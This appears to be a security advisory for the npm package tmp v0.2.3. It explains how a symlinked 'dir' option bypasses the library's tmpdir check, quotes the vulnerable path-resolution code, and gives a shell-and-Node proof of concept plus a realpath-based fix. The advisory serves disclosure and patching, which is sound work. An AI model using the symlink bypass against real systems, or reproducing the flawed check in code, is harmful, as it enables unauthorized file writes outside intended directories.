Summary
[email protected] is vulnerable to an Arbitrary temporary file / directory write via symbolic link dir parameter.
Details
According to the documentation there are some conditions that must be held:
// https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L41-L50
Other breaking changes, i.e.
- template must be relative to tmpdir
- name must be relative to tmpdir
- dir option must be relative to tmpdir //<-- this assumption can be bypassed using symlinks
are still in place.
In order to override the system's tmpdir, you will have to use the newly
introduced tmpdir option.
// https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L375
* `dir`: the optional temporary directory that must be relative to the system's default temporary directory.
     absolute paths are fine as long as they point to a location under the system's default temporary directory.
     Any directories along the so specified path must exist, otherwise a ENOENT error will be thrown upon access, 
     as tmp will not check the availability of the path, nor will it establish the requested path for you.
Related issue: raszi/node-tmp#207.
The issue occurs because _resolvePath does not properly handle symbolic link when resolving paths:
// https://github.com/raszi/node-tmp/blob/v0.2.3/lib/tmp.js#L573-L579
function _resolvePath(name, tmpDir) {
  if (name.startsWith(tmpDir)) {
    return path.resolve(name);
  } else {
    return path.resolve(path.join(tmpDir, name));
  }
} 
If the dir parameter points to a symlink that resolves to a folder outside the tmpDir, it's possible to bypass the _assertIsRelative check used in _assertAndSanitizeOptions:
// https://github.com/raszi/node-tmp/blob/v0.2.3/lib/tmp.js#L590-L609
function _assertIsRelative(name, option, tmpDir) {
  if (option === 'name') {
    // assert that name is not absolute and does not contain a path
    if (path.isAbsolute(name))
      throw new Error(`${option} option must not contain an absolute path, found "${name}".`);
    // must not fail on valid .<name> or ..<name> or similar such constructs
    let basename = path.basename(name);
    if (basename === '..' || basename === '.' || basename !== name)
      throw new Error(`${option} option must not contain a path, found "${name}".`);
  }
  else { // if (option === 'dir' || option === 'template') {
    // assert that dir or template are relative to tmpDir
    if (path.isAbsolute(name) && !name.startsWith(tmpDir)) {
      throw new Error(`${option} option must be relative to "${tmpDir}", found "${name}".`);
    }
    let resolvedPath = _resolvePath(name, tmpDir); //<--- 
    if (!resolvedPath.startsWith(tmpDir))
      throw new Error(`${option} option must be relative to "${tmpDir}", found "${resolvedPath}".`);
  }
} 
PoC
The following PoC demonstrates how writing a tmp file on a folder outside the tmpDir is possible.
Tested on a Linux machine.
- Setup: create a symbolic link inside the 
tmpDir that points to a directory outside of it 
mkdir $HOME/mydir1
ln -s $HOME/mydir1 ${TMPDIR:-/tmp}/evil-dir 
- check the folder is empty:
 
ls -lha $HOME/mydir1 | grep "tmp-"
 
node main.js
File:  /tmp/evil-dir/tmp-26821-Vw87SLRaBIlf
test 1: ENOENT: no such file or directory, open '/tmp/mydir1/tmp-[random-id]'
test 2: dir option must be relative to "/tmp", found "/foo".
test 3: dir option must be relative to "/tmp", found "/home/user/mydir1".
 
- the temporary file is created under 
$HOME/mydir1 (outside the tmpDir): 
ls -lha $HOME/mydir1 | grep "tmp-"
-rw------- 1 user user    0 Apr  X XX:XX tmp-[random-id]
 
// npm i [email protected]
const tmp = require('tmp');
const tmpobj = tmp.fileSync({ 'dir': 'evil-dir'});
console.log('File: ', tmpobj.name);
try {
    tmp.fileSync({ 'dir': 'mydir1'});
} catch (err) {
    console.log('test 1:', err.message)
}
try {
    tmp.fileSync({ 'dir': '/foo'});
} catch (err) {
    console.log('test 2:', err.message)
}
try {
    const fs = require('node:fs');
    const resolved = fs.realpathSync('/tmp/evil-dir');
    tmp.fileSync({ 'dir': resolved});
} catch (err) {
    console.log('test 3:', err.message)
} 
A Potential fix could be to call fs.realpathSync (or similar) that resolves also symbolic links.
function _resolvePath(name, tmpDir) {
  let resolvedPath;
  if (name.startsWith(tmpDir)) {
    resolvedPath = path.resolve(name);
  } else {
    resolvedPath = path.resolve(path.join(tmpDir, name));
  }
  return fs.realpathSync(resolvedPath);
} 
Impact
Arbitrary temporary file / directory write via symlink
References
   
Summary
[email protected]is vulnerable to an Arbitrary temporary file / directory write via symbolic linkdirparameter.Details
According to the documentation there are some conditions that must be held:
Related issue: raszi/node-tmp#207.
The issue occurs because
_resolvePathdoes not properly handle symbolic link when resolving paths:If the
dirparameter points to a symlink that resolves to a folder outside thetmpDir, it's possible to bypass the_assertIsRelativecheck used in_assertAndSanitizeOptions:PoC
The following PoC demonstrates how writing a tmp file on a folder outside the
tmpDiris possible.Tested on a Linux machine.
tmpDirthat points to a directory outside of it$HOME/mydir1(outside thetmpDir):main.jsA Potential fix could be to call
fs.realpathSync(or similar) that resolves also symbolic links.Impact
Arbitrary temporary file / directory write via symlink
References